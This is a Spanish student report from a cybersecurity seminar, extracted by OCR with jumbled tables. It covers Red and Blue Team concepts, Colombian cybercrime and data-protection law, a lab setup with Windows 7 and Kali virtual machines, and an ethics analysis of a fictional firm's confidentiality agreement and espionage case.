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Glosario

Término

Definicion

Ataque informatico
Blue Team
Red Team

Ciberseguridad

Contencion

MS17-010 / EternalBlue
SMBv1

Metasploit

Meterpreter

Wireshark

Snort

TCPView

Chainsaw

Hardening

SIEM (Security

Information and Event
Management)

Accion deliberada para comprometer la confidencialidad,
integridad o disponibilidad de sistemas de informacion.
Equipo de seguridad encargado de la defensa de la
infraestructura T1, el monitoreo, la deteccion y la contencion
de incidentes.

Equipo de ciberseguridad ofensiva que simula ataques reales
para evaluar la efectividad de las defensas de la organizacion.
Conjunto de técnicas, procesos Yy practicas disefiadas para
proteger redes, dispositivos, programas y datos frente a
ataques digitales.

Conjunto de acciones destinadas a frenar o aislar un ataque en
curso para minimizar su impacto en la infraestructura
tecnoldgica.

Vulnerabilidad critica en sistemas Windows que permite
ejecucion remota de cddigo a traveés del protocolo SMBvV1.
Explotada por herramientas como WannaCry.

Protocolo de red obsoleto para el intercambio de archivos,
vulnerable a maltiples ataques como EternalBlue.
Framework de pruebas de penetracion que permite a los Red
Teams ejecutar exploits, payloads y modulos de post-
explotacion.

Shell avanzada que se utiliza dentro de Metasploit para
controlar un sistema comprometido, permitiendo ejecucion
remota de comandos y captura de informacién.

Herramienta de analisis de trafico de red que permite
visualizar paquetes y detectar comportamientos maliciosos en
tiempo real.

Sistema de deteccion de intrusos (IDS) que analiza el trafico
de red para identificar patrones asociados a amenazas o
ataques.

Herramienta de Microsoft que muestra en tiempo real las
conexiones de red y los procesos asociados en un sistema
Windows.

Herramienta forense para analizar registros de eventos de
Windows utilizando técnicas de deteccidn basadas en Sigma
rules.

Proceso de reforzamiento de la seguridad de un sistema
mediante la desactivacion de servicios innecesarios,
actualizaciones y configuracion segura.

Plataforma que centraliza, analiza y correlaciona eventos de
seguridad generados por distintos dispositivos en una red.
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Nmap

IDS (Intrusion Detection
System)

Actuacion ética

Responsabilidad legal

Anadlisis forense

Vulnerabilidad

Payload

Reverse Shell

Firewall

SMB (Server Message
Block)

CIS Benchmarks

Herramienta utilizada para escanear redes, descubrir hosts
activos, puertos abiertos y servicios.

Sistema que monitorea el trafico de red o sistema en busca de
comportamientos anémalos o no autorizados.

Conjunto de principios y normas que deben seguir los
profesionales de ciberseguridad en la ejecucion de
simulaciones, analisis forense y pruebas de penetracion.
Obligacién de actuar bajo el marco juridico vigente,
garantizando el respeto a la privacidad, integridad y propiedad
de los sistemas evaluados.

Técnica que permite recolectar, preservar y examinar
evidencia digital posterior a un incidente de seguridad.
Debilidad o falla en un sistema que puede ser explotada por un
atacante para comprometer su seguridad.

Caodigo malicioso que se ejecuta tras la explotacion de una
vulnerabilidad, permitiendo acciones como acceso remoto o
exfiltracion de datos.

Técnica que permite al atacante establecer una conexién desde
el sistema victima hacia su propio sistema para obtener
control.

Mecanismo de seguridad que controla el trafico entrante y
saliente segun reglas definidas, bloqueando conexiones no
autorizadas.

Protocolo de red para compartir archivos e impresoras entre
dispositivos en una red. Su version 1 es insegura.

Guias de configuracién segura desarrolladas por el Center for
Internet Security para proteger sistemas operativos y
aplicaciones.
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Resumen

Este informe presenta el analisis técnico de los escenarios abordados en los ejercicios de
Blue Team y Red Team durante el seminario de Ciberseguridad. A través de la simulacion de
ataques reales como el exploit EternalBlue (MS17-010) y el despliegue de herramientas
defensivas como Wireshark, Snort y hardening del sistema operativo Windows, se evaluaron
vulnerabilidades criticas y se formularon estrategias de contencion eficaces. El informe concluye
con recomendaciones practicas orientadas a mejorar la postura de seguridad de una organizacion

desde un enfoque ofensivo y defensivo.

Palabras clave: Blue Team, IDS, Meterpreter, Red Team, SMBVL1.
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Abstract

This report presents the technical analysis of the scenarios addressed in the Blue Team
and Red Team exercises during the Cybersecurity seminar. Through the simulation of real
attacks such as the EternalBlue exploit (MS17-010) and the deployment of defensive tools such
as Wireshark, Snort and Windows OS hardening, critical vulnerabilities were evaluated and
effective containment strategies were formulated. The report concludes with practical
recommendations aimed at improving an organization's security posture from both an offensive

and defensive approach.

Keywords: Blue Team, IDS, Meterpreter, Red Team, SMBVL.
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Introduccion

En un mundo cada vez maés digitalizado, la seguridad de la informacién se ha convertido
en una necesidad urgente méas que en una opcién. Las amenazas informaticas son cada vez mas
sofisticadas, y las organizaciones deben estar preparadas para enfrentarlas no solo desde la
defensa, sino también desde la comprension profunda de como piensan y actdan los atacantes.
Por ello, abordar la ciberseguridad desde un enfoque integral implica desarrollar habilidades
tanto defensivas (Blue Team) como ofensivas (Red Team).

Este informe recopila las actividades realizadas durante un proceso de formacion
especializado, centrado en simular escenarios reales de ataque y defensa. A través de la practica
con herramientas como Metasploit, Wireshark, Snort y otras soluciones de cddigo abierto, fue
posible experimentar cOmo se ejecutan ataques conocidos —como el basado en la vulnerabilidad
MS17-010 (EternalBlue)— y cémo contenerlos mediante estrategias técnicas, analisis forense y
endurecimiento de sistemas.

Una parte esencial de este proceso fue aplicar el pensamiento adversarial, es decir,
aprender a pensar como un atacante para anticiparse a sus acciones y fortalecer las defensas de
los sistemas. Esta mentalidad permite disefiar respuestas mas efectivas, identificar puntos débiles
antes de que sean explotados, y mejorar continuamente las politicas y configuraciones de
seguridad.

El proposito de este informe no es solo mostrar los resultados de las practicas, sino
también reflexionar sobre la importancia de combinar analisis técnico, criterio estratégico y ética

profesional para enfrentar los desafios actuales en seguridad informatica.
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Objetivos
Objetivo General
Formular estrategias efectivas de ciberseguridad mediante la simulacion y analisis de

ataques reales, para fortalecer la infraestructura tecnolégica de una organizacion.

Objetivos Especificos

e Simular un ataque real utilizando la vulnerabilidad MS17-010 desde un entorno Red
Team.

¢ Implementar y validar acciones de deteccion y contencidn desde el enfoque Blue
Team.

e Evaluar herramientas de analisis forense, captura de red y defensa activa.

¢ Proponer recomendaciones que fortalezcan la seguridad basada en la experiencia del
laboratorio.
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Desarrollo del informe

Etapa 1 — Conceptos equipos de Seguridad

Legislacion en Colombia sobre delitos informaticos y proteccion de datos personales

En Colombia, el crecimiento exponencial del uso de internet ha traido consigo un
aumento en los riesgos asociados a los delitos informaticos. En respuesta, el pais ha establecido
un marco normativo que busca proteger tanto la informacion digital como los datos personales de
los ciudadanos.

Una de las leyes mas relevantes en este ambito es la Ley 1273 de 2009, que modifico el
Cadigo Penal colombiano e incorpor6 un nuevo bien juridico tutelado: la proteccion de la
informacidn y de los datos. Esta ley introdujo el Titulo VII BIS en el Codigo Penal, bajo el
nombre de "De la proteccion de la informacion y de los datos™, y establecié sanciones especificas
para conductas como el acceso no autorizado a sistemas informaticos, la interceptacion de
comunicaciones, el dafio informatico y el uso de software malicioso.

En particular, el Articulo 269A establece penas para quien, sin autorizacion, acceda total
o0 parcialmente a un sistema informatico protegido con medidas de seguridad. Este articulo
reconoce la importancia de salvaguardar la confidencialidad y disponibilidad de los sistemas y

representa una base legal clave para la persecucion de ciberdelitos.
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Complementariamente, la Ley 1581 de 2012 regula el tratamiento de datos personales.
Esta norma establece principios fundamentales como la legalidad, finalidad, libertad, veracidad,

seguridad y confidencialidad en el manejo de la informacion personal.

También otorga a los ciudadanos derechos como el acceso, rectificacion, actualizacion y
supresion de sus datos personales, y establece obligaciones claras para las organizaciones que los
gestionan.

El Decreto 1377 de 2013 fue emitido para reglamentar parcialmente la Ley 1581,
especialmente en lo relacionado con la autorizacion de uso de datos recolectados antes de la
entrada en vigencia de la norma. Este decreto obligo a las empresas a obtener el consentimiento
de los titulares de los datos para continuar con su tratamiento.

Por su parte, la Ley 1266 de 2008 regula el tratamiento de datos personales financieros,
crediticios y comerciales. Establece los principios y procedimientos para el reporte, acceso y
correccion de la informacidn financiera en las bases de datos administradas por las centrales de

riesgo.

Etapas del pentesting y herramientas

El pentesting, o prueba de penetracidn, es una técnica usada en ciberseguridad para evaluar
qué tan vulnerable es un sistema o red. Estas pruebas se hacen siguiendo una serie de pasos
organizados.

Reconocimiento:
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Aqui se recopila toda la informacion posible del objetivo. Se puede hacer de manera
pasiva (sin interactuar) o activa (interactuando con el sistema). Por ejemplo, con la herramienta
Nmap podemos descubrir qué puertos estan abiertos o qué servicios estan activos en una
maquina (Lyon, 2009).

1. Escaneo:

En esta etapa se identifican posibles vulnerabilidades. Herramientas como Nessus u
OpenVAS ayudan a detectar fallas que podrian ser explotadas por un atacante (Greenbone

Networks, 2024).

2. Obtener acceso:

Con las vulnerabilidades ya identificadas, se intenta ingresar al sistema. Aqui es donde se
usa Metasploit, una plataforma muy conocida que permite ejecutar exploits de forma controlada
(Rapid7, 2024).

3. Mantener acceso:

El atacante busca quedarse dentro del sistema sin ser detectado. Se puede usar Netcat o

establecer un reverse shell para mantener la conexion.

4. Borrar evidencias:

Una vez cumplido el objetivo, se eliminan los registros de la intrusion. Herramientas
como Meterpreter, que ya viene con Metasploit, tienen funciones para limpiar logs o esconderse

en el sistema.
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5. Reporte:

Al final, se documenta todo lo encontrado. Herramientas como Dradis ayudan a organizar
los hallazgos, presentar capturas de pantalla y entregar recomendaciones claras (Dradis
Framework, 2023).

En Israel, por ejemplo, se aplican estas etapas de forma avanzada desde centros de
inteligencia como la Unidad 8200. Alli, el pentesting se ve como una estrategia de defensa

nacional, y se utiliza inteligencia artificial para predecir ataques (CyberArk, 2023).

Herramientas de ciberseguridad

Metasploit:

Es una de las herramientas mas utilizadas en pruebas de penetracion. Permite lanzar ataques
simulados para verificar si las vulnerabilidades pueden ser explotadas. Ademas, su uso es ideal
para aprender técnicas ofensivas de manera controlada (Rapid7, 2024).

Nmap:

Es una herramienta de escaneo de redes. Sirve para conocer el estado de los puertos, qué
sistemas operativos estan corriendo y qué servicios estan activos (Lyon, 2009).

OpenVAS:

Sistema de escaneo de vulnerabilidades de cddigo abierto. Es muy util para hacer auditorias

de seguridad automatizadas (Greenbone Networks, 2024).
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ExploitDB:

Es una base de datos publica donde los expertos comparten codigos de exploits y
vulnerabilidades conocidas. Se consulta frecuentemente para investigar posibles amenazas
(Offensive Security, 2024).

CVE:

El sistema de Common Vulnerabilities and Exposures (CVE) sirve para identificar fallas

de seguridad con un namero Gnico. Por ejemplo, una vulnerabilidad en Windows puede tener un

cddigo CVE que ayuda a rastrear su gravedad y soluciones (MITRE, 2024).

Tabla 1

Herramientas de Ciberseguridad: Definicion, Uso y Aplicacion en Colombia

Herramienta / Definicion Uso principal Ejemplo
Servicio breve en ciberseguridad aplicado en Colombia
Usado por

Framework de

- . Permite equipos de seguridad en
cddigo abierto para . oe
. simular ataques reales  la DIJIN y universidades
Metasploit pruebas de .
enetracion para validar como la ECCl en
P y vulnerabilidades. simulaciones de pruebas

explotacion. éticas (Rapid7, 2024).
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Herramienta
de escaneo de red y
deteccidn de
servicios/puertos.

Nmap

Escéner de
vulnerabilidades de
cadigo abierto.

OpenVAS

Base de datos
de exploits publicos y
vulnerabilidades
conocidas.

ExploitDB

Identificacion
de puertos abiertos y
dispositivos en red.

Deteccidn
automatica de fallas en
infraestructura de red.

Investigacion
de fallas explotables en
software y hardware.

Utilizada en
pruebas de seguridad por
estudiantes de Ingenieria
en la U. Distrital y en
auditorias de entidades
publicas (Lyon, 2009).

Aplicada por
consultoras en Bogota
para auditorias de
seguridad en PYMES y
entidades bancarias
(Greenbone Networks,
2024).

Utilizada por el
Ejército Nacional y
CERT Colombia para
verificar amenazas
documentadas (Offensive
Security, 2024).
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Referenciado por

CVE Sistema de Permite el Grupo de Respuesta a
(Common identificacion conocer el nivel de Emergencias Cibernéticas
Vulnerabilities and estandarizada de riesgo de una de Colombia (colCERT)
Exposures) vulnerabilidades. vulnerabilidad. en alertas oficiales

(MITRE, 2024).

Nota: Esta tabla contiene la descripcion de la clara y explicativa de las herramientas de
ciberseguridad con ejemplos aplicados al contexto colombiano. Fuentes : Greenbone
Networks. (2024). OpenVAS - Vulnerability Scanning. https://www.greenbone.net, Lyon, G.
(2009). Nmap Network Scanning. Insecure.Com LLC. MITRE. (2024). Common Vulnerabilities
and Exposures (CVE). Offensive Security. (2024). Exploit Database. https://www.exploit-db.com
Rapid7. (2024). Metasploit Framework. https://www.rapid7.com

Configuracion del banco de trabajo WIN7 Y KALI
Figura 1

Oracle VirtualBox con las maquinas virtuales WIN7 Y KALI

T Oracie VM VirtualBox Administrador

Win7-SE2020-X64



https://www.greenbone.net/
https://www.exploit-db.com/
https://www.rapid7.com/
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Nota: La imagen muestra el entorno de laboratorio con sistemas Windows 7 y Kali Linux
preconfigurados en formato. OVA, listos para actividades técnicas. Fuentes: Autor (Joya, 2025).

Figura 2

Configuracién del DHCP

Nota: Se efectla la configuracion del DHCP mediante la consola de Win10 del usuario haciendo
la apertura de una terminal CMD, abriendo la ruta del programa en el archivo local y se introduce
el siguiente comando para configuracion de los parametros de la red local, VBoxManage
dhcpserver add --netname="redBlueTeam" --server-ip=10.52.40.46 --netmask=255.255.255.0 --
lower-ip=10.52.40.30 --upper-ip=10.52.40.50 —enable. Fuentes: Autor (Joya, 2025).

Figura 3

Verificacion de los parametros de la configuracion de DHCP

Administrador: CAWINDOWS\system32\cmd.exe

default
1ltleaseTime: default

1 Configs:

m Files\Oracle\VirtualBox>
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Nota: Se efectua la verificacion de los parametros de red interna los cuales se configuran con la
cedula del usuario. Fuentes: Autor (Joya, 2025).

Figura 4

Ejecucion de las 02 maquinas virtuales.

¥22 Win?-SE2020-X64 [Cormendol

C

Nota: Se efectla la ejecucion de las 02 méaquinas virtuales WIN7 Y Kali. Fuentes: Autor (Joya,
2025).

Figura 5

Verificacion de los pardmetros la red local maquina Win7.

¥ Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox
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Nota: Se efectla la verificacion la direccion IPV4, la cual es el numero de la cedula del autor,
10.52.40.30. Fuentes: Autor (Joya, 2025).

Figura 6

Verificacion de la conexion entre las dos maquina virtuales WIN7/KALI.

#7 kali-linux-20244-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox

Archivo  Mdquina Ver Entrada Dispositivos Ayuda

Archivo Maquina Ver Entrada Dispositivos Ayuda

s W emPOE | 2
2]

Firefox e F kali@kali: ~

File Actions Edit View Help
T inet /24 brd scope global dynamic noprefixroute e
the
- valid_1ft 572sec preferred_Lf
k noprefixroute

IP de Windows

t loss, time

, 100% packet time 43997ms

L 2
)i T ¢ MELT %@ B crroerecHa

Nota: Se envia un ping a la ip:10.52.40.30. Fuentes: Autor (Joya, 2025).

Figura 7

Verificacion de la conexion entre las dos maquina virtuales WIN7/KALI.

¥28 Win7-SE2020-X64 [Comendo] - Oracie VM VirtualBox
Archvo M Entrado_ Disposaw
8 Administradon; CAWindows\system32\cmd.exe

o fi00 para 12 ¢

File Actions Edit View Help

BONE MO R @0 crroerian
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Nota: Se envia un ping a la ip:10.52.40.30, de manera satisfactoria desde Kali a WIN7 y de la
misma manera se envia un ping a la ip de KALI/ IP: 10.52.40.31. Fuentes: Autor (Joya, 2025).
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Etapa 2 — Actuacion ética y legal

¢, Se evidencia algun proceso ilegal y no ético en el Anexo 3 — Acuerdo?

Si, se evidencian varios procesos ilegales y éticamente cuestionables en el Acuerdo de
Confidencialidad estipulado por CyberFort Technologies. A continuacion, se sefialan los
fragmentos irregulares:

Fragmento 1 — Clausula Cuarta, numeral 3:

“No denunciar ante las autoridades actividades sospechosas de espionaje o cualquier
otro proceso en el cual intervenga la apropiacion de informacion de terceros.”

Fragmento 2 — Clausula Cuarta, numeral 4:

“Abstenerse de denunciar y publicar la informacion confidencial e ilegal que conozca,
reciba o intercambie con ocasion de las reuniones sostenidas.”

Estos apartes obligan al firmante a ocultar informacion ilegal, lo cual representa una clara
violacion de la ética profesional y del orden juridico colombiano, pues limita la posibilidad de
cumplir con el deber ciudadano y profesional de denunciar actos delictivos.

Desde el punto de vista ético, encubrir actividades ilicitas va en contra del principio de
integridad que debe tener cualquier profesional de la ingenieria o la seguridad informatica, ya
que promueve la complicidad en posibles delitos (Consejo Profesional Nacional de Ingenieria -

COPNIA, 2019).
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El Acuerdo contenido en el Anexo 3 incluye disposiciones que resultan legal y
éticamente problematicas, sobre todo teniendo en cuenta que fue elaborado por un abogado
desvinculado por irregularidades y que no fue validado por la alta direccién, la cual incluso
recomienda precaucion al firmarlo. Este documento impone al receptor la obligacion de
considerar como confidencial informacion relacionada con posibles delitos informaticos, como
interceptaciones ilegales y accesos no autorizados a sistemas, lo cual sugiere una intencion de
encubrir estas practicas.

Asimismo, establece prohibiciones explicitas para denunciar ante las autoridades
conductas irregulares, incluso si implican apropiacion indebida de datos. También restringe la
divulgacion de informacion que pueda evidenciar actos ilicitos sin autorizacion de la empresa, y
delega toda la responsabilidad juridica al receptor en caso de que dicha informacion sea
encontrada en su poder, eximiendo a la compafiia de cualquier implicacion legal. Estas clausulas
transgreden normas éticas y legales vigentes en Colombia, como la Ley 1273 de 2009, y colocan
al profesional en una posicion de vulnerabilidad, comprometiendo su integridad y su obligacién

de actuar conforme al interés publico.

2. ¢Qué articulos de la Ley 1273 de 2009 se podrian estar vulnerando en el Acuerdo?

El Acuerdo podria vulnerar varios articulos de la Ley 1273 de 2009, que modifica el
Cadigo Penal colombiano para proteger la informacion y los datos informaticos. Estos son

algunos de los articulos potencialmente infringidos:

Articulo 269A — Acceso abusivo a un sistema informatico



El acuerdo menciona que se manejaran datos sensibles, incluyendo "accesos abusivos a
sistemas informaticos", lo cual sugiere tolerancia a practicas ilegales. Obligar al firmante a no

denunciar estas acciones puede significar complicidad en dicho delito.

Articulo 269C — Interceptacion de datos informéticos

Se hace alusién a "datos de chuzadas, interceptacion de informacion”, lo que es ilegal si
no media una orden judicial. EI Acuerdo impone una clausula de silencio que contradice este

articulo, al buscar evitar que dicha actividad sea reportada.

Articulo 269E — Uso de software malicioso

Aungue no se menciona directamente, la retencion y manipulacion indebida de
informacidn confidencial puede involucrar herramientas maliciosas. Al impedir su denuncia, el

acuerdo puede facilitar indirectamente este delito.

Articulo 269F — Violacion de datos personales

El uso y ocultamiento de informacion privada sin consentimiento también puede violar

este articulo, especialmente si se impide denunciar estas practicas ante las autoridades.

Segun Guerrero (2012), la Ley 1273 busca “proteger el derecho fundamental a la
intimidad y la informacion” y, por tanto, cualquier acuerdo que coarte la denuncia de violacion

a estos derechos podria constituir una forma de encubrimiento penal.
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Tabla 2

Articulos vulnerados de la Ley 1273 de 2009 y aspectos éticos
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Articulo Accion del o
Nombre del Explicacion legal
vulnerado (Ley delito acuerdo que lo atica
1273 de 2009) vulnera y
El uso de
credenciales o privilegios
adquiridos legitimamente
Acceso a para obtener acceso a
Articulo Acceso abusivoa comunicaciones informacion que no
269A un sistema informatico gubernamentales estaba autorizada
sin autorizacion constituye una violacién
a la privacidad del cliente
y al sistema legal
colombiano.
Alteracion La alteracion o
L de servidores interferencia con sistemas
Obstaculizacion X ) i
. S ) mediante del cliente sin
Articulo ilegitima de sistema . e
X [ herramientas consentimiento rompe
269B informatico o red de . ) e
o forenses sin con la confidencialidad y
telecomunicacion MR )
autorizacion excede las funciones del
expresa contrato.
La interceptacion
Capturade  de comunicaciones
Articulo Interceptacion de  correos privadas sin orden
269C datos informaticos electronicos y judicial o consentimiento
documentos explicito constituye
ciberespionaje.
Comercializar
datos sensibles de un
. S Venta de tercero sin su aprobacion
Articulo Violacion de . s . probac
informacion a constituye una violacion
269F datos personales
terceros a los derechos
fundamentales, como el
habeas data.
Uso La ética
Cadigo indebido del rofesional exige actuar
de Etica Responsabilidad  conocimiento (F:)on frans arengia
COPNIA — Art.  profesional e integridad  técnico para pal L
- proteger la informacion
ly1l obtener beneficios

personales

del cliente y no usar el
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conocimiento en contra
del bien comdn.

Nota: Esta tabla contiene los articulos vulnerados de la ley 1273 de 2009 junto con aspectos
éticos relacionados y las vulneraciones a la informacion, este tipo de comportamientos, si se
descubrieran, constituirian una violacién directa de los articulos mencionados de la Ley 1273 de
2009, ademaés de abrir la puerta a procesos penales por espionaje y corrupcion. Fuentes : Congreso
de Colombia. (2009). Ley 1273 de 2009. Por medio de la cual se modifica el Codigo Penal y se
crea un nuevo bien juridico tutelado: la proteccion de la informacion y los datos.

https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34506, Consejo

Profesional Nacional de Ingenieria (COPNIA). (2008). Codigo de Etica Profesional.

https://www.copnia.gov.co

¢Aplicaria al trabajo en CyberFort Technologies bajo estas condiciones, segun el codigo de

ética del COPNIA?

No aplicaria al trabajo ofrecido por CyberFort Technologies, a pesar del salario elevado
($15.000.000 COP millones de pesos colombianos mensuales) y del contrato vitalicio. La razon
principal es que dicho contrato infringe varios principios éticos fundamentales establecidos en el
Codigo de Etica del COPNIA.

Justificacion ética:

Articulo 1 — Responsabilidad Social:


https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34506
https://www.copnia.gov.co/
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“El ingeniero debe contribuir al bienestar de la sociedad, procurando siempre que su
ejercicio profesional esté orientado a la mejora de la calidad de vida de las personas” (COPNIA,
2019).

Articulo 2 — Legalidad:

“El ingeniero debe ejercer su profesion conforme a las leyes, reglamentos y disposiciones
¢ticas vigentes”.

Articulo 7 — Denuncia de actos antiéticos:

“El ingeniero debe abstenerse de participar o tolerar actos corruptos o ilegales. En caso
de conocerlos, tiene el deber de denunciarlos’.

El acuerdo de confidencialidad, como ya se analizo, limita el derecho y deber del
profesional de denunciar actos delictivos relacionados con ciberseguridad, lo cual pone en riesgo
la integridad del ingeniero, su licencia profesional, y lo compromete legalmente.

Ademas, aceptar este trabajo seria incompatible con los valores de la ciberseguridad
profesional, que incluyen la transparencia, la proteccion de la privacidad, y la promocion de una
cultura de legalidad (Kizza, 2017).

Aceptar un empleo basado en un acuerdo que impone el silencio frente a delitos
informaticos contradice los principios legales y éticos que rigen la ingenieria en Colombia. Segun
el Codigo de Etica del COPNIA, establecido en la Ley 842 de 2003, el profesional esta obligado a
denunciar cualquier acto ilicito del que tenga conocimiento (art. 31.f), se le prohibe obtener
beneficios a cambio de encubrir delitos (art. 32.j), no puede aceptar cargos que violen las normas
legales (art. 34.a) y, aunque debe respetar la confidencialidad de la informacidn, este deber no

aplica en contextos delictivos (art. 39.a).
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En el contexto colombiano, donde la lucha contra los delitos cibernéticos es una prioridad
nacional, un ingeniero que acepte participar en actividades que oculten irregularidades no solo
faltaria a su responsabilidad profesional, sino que también podria enfrentarse a consecuencias
penales y la posible pérdida de su licencia, al ser considerado complice de actos que atentan contra

la integridad institucional y la seguridad del Estado.

Analizar el caso problema “Ciberespionaje y Etica en CyberFort Technologies” (Anexo 7 -
Escenario 2), redactar su punto de vista teniendo en cuenta las implicaciones legales y

éticas que alli se pudieron generar y dar respuesta a los interrogantes:

El caso de CyberFort Technologies representa una clara vulneracion tanto de los
principios éticos que rigen la ciberseguridad como del marco legal colombiano que regula el uso
y tratamiento de la informacion. EIl hecho de que empleados de una empresa contratada para
realizar una auditoria de seguridad hayan accedido y recopilado informacidn sensible sin
autorizacion, y posteriormente la hayan vendido en mercados ilegales, constituye no solo una

falta grave de ética profesional, sino también multiples delitos informaticos.

Desde el punto de vista ético, los expertos involucrados infringieron principios
fundamentales como la confidencialidad, la integridad, la lealtad hacia el cliente y el respeto a la
privacidad de la informacion. Toda relacion profesional, especialmente en el ambito de la
ciberseguridad, debe basarse en la confianza, la transparencia y la proteccion de los intereses del
cliente. Justificar el uso no autorizado de informacion con el argumento de “mejorar la

seguridad” refleja una racionalizacion peligrosa que ignora los limites de la ética profesional.
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Tabla 3

Analisis ético y legal del caso CyberFort Technologies

Aspecto analizado Descripcion
CyberFort Technologies incumplié principios
esenciales como la confidencialidad, la integridad y la lealtad
Violaciones éticas hacia su cliente al acceder y comercializar informacién
sensible sin consentimiento, lo que contraviene los cddigos de
conducta profesional.
Las acciones de la empresa podrian constituir delitos
conforme a la Ley 1273 de 2009, que penaliza el acceso no
Violaciones legales autorizado a sistemas informaticos y la violacion de datos
personales. También incumple el Decreto 1377 de 2013, que
reglamenta el manejo seguro de datos personales.
Establecer clausulas especificas que delimiten el
alcance del acceso a la informacién y definan consecuencias
ante cualquier uso indebido.

Recomendacién 1:
Contratos claros

Recomendacion 2: Otorgar accesos temporales y estrictamente necesarios
Principio de minimo durante la auditoria, revocandolos inmediatamente después de
privilegio su finalizacion.

Monitorear las actividades del personal mediante
auditorias técnicas durante el proceso de revision para
prevenir abusos 0 accesos indebidos (ISO 27001, 2013).

Recomendacién 3:
Auditorias internas

Nota: Esta tabla contiene Anélisis ético y legal del caso CyberFort Technologies Fuentes :
Congreso de Colombia. (2009). Ley 1273 de 2009. Por medio de la cual se crea el tipo penal de
proteccion de la informacion y de los datos.
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492  Congreso  de
Colombia. (2013). Decreto 1377 de 2013. Reglamenta parcialmente la Ley 1581 de 2012 sobre
proteccion de datos personales.
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=53646 ICONTEC. (2013).
NTC-ISO/IEC 27001:2013. Tecnologia de la informacién — Técnicas de seguridad — Sistemas
de gestion de seguridad de la informacion — Requisitos. Bogota: Instituto Colombiano de Normas
Técnicas y Certificacion. International Organization for Standardization (1SO). (2013). ISO/IEC
27001:2013 — Information technology — Security techniques — Information security management
systems — Requirements. Ginebra, Suiza.

Legalmente, las acciones descritas podrian ser procesadas bajo la Ley 1273 de 2009, que
tipifica como delitos el acceso abusivo a sistemas informaticos (art. 269A), la interceptacion de

datos informaticos (art. 269C), y la violacion de datos personales (art. 269F). Asimismo, se


https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=53646
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violan disposiciones del Decreto 1377 de 2013, el cual exige que el tratamiento de informacion
personal se realice bajo estandares estrictos de seguridad, confidencialidad y con autorizacion del

titular de los datos.

En el contexto colombiano, este caso también pone en evidencia la necesidad de
fortalecer los controles de contratacion publica y privada en materia de servicios de
ciberseguridad. Las entidades estatales y las empresas deben asegurarse de contratar Unicamente
a organizaciones certificadas, con politicas éticas robustas y mecanismos efectivos de
supervision interna. Ademas, este tipo de incidentes debe activar no solo acciones penales, sino
también procesos de auditoria, sanciones contractuales y reformas institucionales que prevengan

la repeticién de estos hechos.

¢Hasta qué punto las empresas de ciberseguridad deben tener acceso a informacién
sensible de sus clientes durante una auditoria de seguridad, y como se puede garantizar que

este acceso no sea explotado de manera indebida?

Las empresas de ciberseguridad, durante una auditoria, deben tener acceso Unicamente a
la informacion estrictamente necesaria para cumplir con los objetivos del servicio pactado. El
principio de minimizacion de datos es clave en estos procesos: se accede solo a lo indispensable
(Organizacion para la Cooperacién y el Desarrollo Econdmicos [OCDE], 2013). Para evitar el
uso indebido de la informacion, es indispensable firmar acuerdos de confidencialidad detallados

y establecer protocolos de acceso, uso y almacenamiento de los datos.
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Buenas practicas para el acceso a informacion sensible en auditorias de ciberseguridad

Marco
Cateqoria Principio / Descripcion / normativo
g Medida Aplicacion colombiano /
Estandar aplicable
Acceder
Unicamente a la Ley 1581 de
Acceso Principio de informacion 2012, Art. 4
Responsable necesidad estrictamente (Finalidad y
necesaria para la necesidad)
auditoria.
El contrato
Alcance debe especificar los ISO/IEC
- sistemas y tipos de 27001; Ley 1581 de
definido )
datos que seran 2012
auditados.
Utilizar la
Minimizacién moesri]glrecggtég?gs Ley 1581 de
POSIbH . 2012; Decreto 1377
de datos reales; preferir
de 2013
entornos de prueba o
datos anonimizados.
Todo acceso
debe tener un
Finalidad propdsito claro y Ley 1581 de
especifica legitimo, alineado con 2012
los objetivos de la
auditoria.
El cliente debe
autorizar
- s Ley 1581 de
_ Consentimiento  explicitamente el 2012 — Derechos del
informado acceso a la .
. o titular
informacion, su uso y
proteccion.
Incluir
clausulas que definan
Controles 'y Contrato el alqance: . 9°d'9° Civil
; confidencialidad, Colombiano;
Garantias detallado

sanciones por
violacion y uso
adecuado de los datos.

ISO/IEC 27001
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Supervision
y Auditoria

Seleccién
del Proveedor

Acuerdos de

confidencialidad (NDA)

Registro de
actividad (Logs)

Autenticacion y
control de acceso

Transferencia
segura

Supervision del
cliente

Auditorias
internas y externas

Responsabilidad
contractual y legal

Reputacion y
trayectoria

Establecer
acuerdos que obliguen
a mantener la
confidencialidad, usar
los datos solo para la
auditoria y sancionar
su incumplimiento.

Documentar
quién accede, cuando,
a qué datos y con qué
propdsito,
manteniendo un
registro detallado.

Implementar
autenticacion
multifactorial (MFA)
Y permisos de acceso
basados en roles.

Utilizar
canales cifrados para
la transmision de
informacion
confidencial.

El cliente debe
monitorear y validar
en tiempo real el
proceso de auditoria.

Realizar
auditorias periddicas
para revisar el
cumplimiento de
accesos, registros y
obligaciones
contractuales.

La empresa
auditora seré
legalmente
responsable si
incumple los acuerdos
establecidos.

Contratar
empresas con
referencias
verificadas en
auditorias seguras y
de confianza.

Ley 1273 de
2009; Ley 842 de
2003 (COPNIA)

ISO/IEC
27001; Ley 1273 de
2009

Mejores
practicas
internacionales;
CISA; I1SO

Ley 1273 de
2009

Contratacion
estatal; Politica de
seguridad digital

ISO/IEC
27001; Ley 1581 de
2012

Ley 1581 de
2012; Codigo Penal
Colombiano

Principio de
precaucion en
contratacién pablica
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Verificar que
el proveedor cumpla
con estandares de
seguridad
reconocidos, como
ISO 27001 0 I1SO
27701.

ISO;
INCIBE; CISA

Certificaciones
en seguridad

Nota: Esta tabla contiene Buenas préacticas para el acceso a informacion sensible en auditorias de
ciberseguridad. Fuentes : Congreso de Colombia. (2009). Ley 1273 de 2009. Por medio de la cual
se crea el tipo penal de proteccion de la informacion y de los datos.
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34492  Congreso  de
Colombia. (2013). Decreto 1377 de 2013. Reglamenta parcialmente la Ley 1581 de 2012 sobre
proteccién de datos personales.
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=53646 ICONTEC. (2013).
